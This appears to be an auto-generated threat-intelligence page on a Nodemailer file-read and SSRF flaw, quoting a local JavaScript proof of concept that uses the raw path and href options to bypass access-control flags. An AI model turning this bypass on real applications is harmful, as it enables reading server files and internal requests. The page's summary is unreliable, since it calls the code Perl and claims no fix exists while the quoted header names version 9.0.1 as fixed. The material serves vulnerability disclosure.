Nodemailer 9.0.0 - File Read/ SSRF
Nodemailer 9.0.0 - File Read/ SSRF
AI Analysis
Technical Summary
Nodemailer versions up to and including 9.0.0 are affected by a vulnerability that permits file read operations and SSRF attacks. This vulnerability has been demonstrated with publicly available exploit code written in Perl. The issue affects Linux deployments of Nodemailer. No patch or remediation information is provided in the source data.
Potential Impact
An attacker exploiting this vulnerability could read sensitive files on the server or cause the server to make unauthorized network requests, potentially leading to information disclosure or further network-based attacks. The exact impact depends on the environment and usage of Nodemailer but is considered medium severity.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, users should exercise caution when deploying Nodemailer 9.0.0 or earlier, especially in environments exposed to untrusted input. Monitor vendor channels for updates.
Indicators of Compromise
- exploit-code: # Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/nodemailer/nodemailer # Software Link: https://www.npmjs.com/package/nodemailer # Version: nodemailer <= 9.0.0 (fixed 9.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p6gq-j5cr-w38f-nodemailer MailComposer.compile() builds the raw message/rfc822 node without threading the disableFileAccess/disableUrlAccess flags, so raw:{path}/raw:{href} reads files / fetches URLs anyway. Advisory: GHSA-p6gq-j5cr-w38f. The PoC is a benign, local verification harness (sentinel-based; no network attack, no persistence, no destructive payload). Run against a local instance of the affected version. --- PoC (poc-raw-fileaccess-bypass.js) --- 'use strict'; /* * PoC — message-level `raw` option bypasses disableFileAccess / disableUrlAccess. * * Threat model: an application that accepts untrusted message data passes * `disableFileAccess: true` (and/or `disableUrlAccess: true`) to Nodemailer to * prevent that untrusted input from reading local files or fetching URLs * (the same protection the jsonTransport advisory GHSA-wqvq-jvpq-h66f is about). * * This PoC shows that a `raw: { path: <file> }` (or `{ href: <url> }`) message * is read ANYWAY, because MailComposer.compile() builds the message/rfc822 root * node WITHOUT threading the flags (lib/mail-composer/index.js:34-35), unlike * every attachment/alternative node which is created with the flags. * * Benign marker: a sentinel file in the OS temp dir whose unique nonce we look * for in the generated message. No network, no destructive action. */ const nodemailer = require('../../../nodemailer'); const fs = require('fs'); const os = require('os'); const path = require('path'); const http = require('http'); const NONCE = 'SENTINEL-' + Date.now() + '-' + Math.floor(Math.random() * 1e6); const sentinelPath = path.join(os.tmpdir(), 'nm-poc-' + NONCE + '.eml'); fs.writeFileSync(sentinelPath, 'From: a@a\r\nSubject: ' + NONCE + '\r\n\r\nbody ' + NONCE + '\r\n'); function buildMessage(data, cb) { // streamTransport => fully local, returns the generated message as a stream. const transporter = nodemailer.createTransport({ streamTransport: true, buffer: true, // The application's protective flags: disableFileAccess: true, disableUrlAccess: true }); transporter.sendMail(data, (err, info) => { if (err) return cb(err); cb(null, info.message.toString()); }); } function run() { console.log('Nodemailer version:', require('../../../nodemailer/package.json').version); console.log('Sentinel file :', sentinelPath); console.log('Nonce :', NONCE); console.log('Transporter flags : disableFileAccess=true, disableUrlAccess=true\n'); // --- CONTROL: a normal attachment with the same path MUST be rejected --- buildMessage( { from: 'a@a', to: 'b@b', subject: 'control', text: 'x', attachments: [{ path: sentinelPath }] }, (err, msg) => { const controlBlocked = !!err && err.code === 'EFILEACCESS'; console.log('[CONTROL] attachment path with disableFileAccess:'); console.log(' => ' + (controlBlocked ? 'BLOCKED (EFILEACCESS) — flag works here' : 'NOT blocked (unexpected): ' + (err && err.message))); // --- ATTACK: message-level raw with the same path --- buildMessage({ raw: { path: sentinelPath } }, (err2, msg2) => { if (err2) { console.log('\n[ATTACK] raw:{path} => error (NOT bypassed): ' + err2.code + ' ' + err2.message); return finishUrl(controlBlocked, false); } const leaked = msg2.indexOf(NONCE) !== -1; console.log('\n[ATTACK] raw:{path} with disableFileAccess=true:'); console.log(' => ' + (leaked ? 'BYPASSED — sentinel file CONTENT is present in the generated message' : 'not leaked (sentinel nonce absent)')); if (leaked) { const idx = msg2.indexOf(NONCE); console.log(' excerpt: ...' + JSON.stringify(msg2.slice(Math.max(0, idx - 20), idx + 20)) + '...'); } finishUrl(controlBlocked, leaked); }); } ); } // Second observable: disableUrlAccess bypass via raw:{href} against a LOCAL (loopback) server. function finishUrl(controlBlocked, fileLeaked) { const URLNONCE = NONCE + '-URL'; const server = http.createServer((req, res) => { res.end('From: a@a\r\nSubject: x\r\n\r\nURLBODY ' + URLNONCE + '\r\n'); }); server.listen(0, '127.0.0.1', () => { const port = server.address().port; const href = ' http://127.0.0.1 :' + port + '/sentinel'; buildMessage({ raw: { href: href } }, (err, msg) => { let urlLeaked = false; if (err) { console.log('\n[ATTACK] raw:{href} => error (NOT bypassed): ' + err.code + ' ' + err.message); } else { urlLeaked = msg.indexOf(URLNONCE) !== -1; console.log('\n[ATTACK] raw:{href} with disableUrlAccess=true (loopback server):'); console.log(' => ' + (urlLeaked ? 'BYPASSED — server-side fetched body is present in the generated message (SSRF)' : 'not leaked')); } server.close(); try { fs.unlinkSync(sentinelPath); } catch (_e) {} console.log('\n================ RESULT ================'); console.log('control attachment blocked by flag : ' + controlBlocked); console.log('raw:{path} file-access bypass : ' + fileLeaked); console.log('raw:{href} url-access bypass : ' + urlLeaked); const pass = controlBlocked && (fileLeaked || urlLeaked); console.log('VERDICT: ' + (pass ? 'CONFIRMED — raw bypasses the access flags that block attachments' : 'NOT CONFIRMED')); process.exit(pass ? 0 : 1); }); }); } run();
Nodemailer 9.0.0 - File Read/ SSRF
Description
Nodemailer 9.0.0 - File Read/ SSRF
Affected software
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
Nodemailer versions up to and including 9.0.0 are affected by a vulnerability that permits file read operations and SSRF attacks. This vulnerability has been demonstrated with publicly available exploit code written in Perl. The issue affects Linux deployments of Nodemailer. No patch or remediation information is provided in the source data.
Potential Impact
An attacker exploiting this vulnerability could read sensitive files on the server or cause the server to make unauthorized network requests, potentially leading to information disclosure or further network-based attacks. The exact impact depends on the environment and usage of Nodemailer but is considered medium severity.
Mitigation Recommendations
Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until an official fix is available, users should exercise caution when deploying Nodemailer 9.0.0 or earlier, especially in environments exposed to untrusted input. Monitor vendor channels for updates.
Technical Details
- Version
- nodemailer <= 9.0.0
- Author
- Pig-Tail
- Platform
- Linux
- Edb Id
- 52654
- Has Exploit Code
- true
- Code Language
- perl
Indicators of Compromise
Exploit Source Code
Exploit code for Nodemailer 9.0.0 - File Read/ SSRF
# Exploit Title: Nodemailer 9.0.0 - File Read/ SSRF # Date: 2026-07-17 # Exploit Author: Pig-Tail (Jorge González Milla) # Vendor Homepage: https://github.com/nodemailer/nodemailer # Software Link: https://www.npmjs.com/package/nodemailer # Version: nodemailer <= 9.0.0 (fixed 9.0.1) # Tested on: Linux # CVE: N/A # Category: webapps # Full write-up & repo: https://github.com/Pig-Tail/security-research/tree/master/GHSA-p6gq-j5cr-w38f-nodemailer MailComposer.compile() builds the raw... (5892 more characters)
Threat ID: 6a848d66c6e8be03327c892c
Added to database: 08/18/2026, 16:50:46 UTC
Last enriched: 08/18/2026, 16:51:17 UTC
Last updated: 08/18/2026, 16:54:56 UTC
Views: 3
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.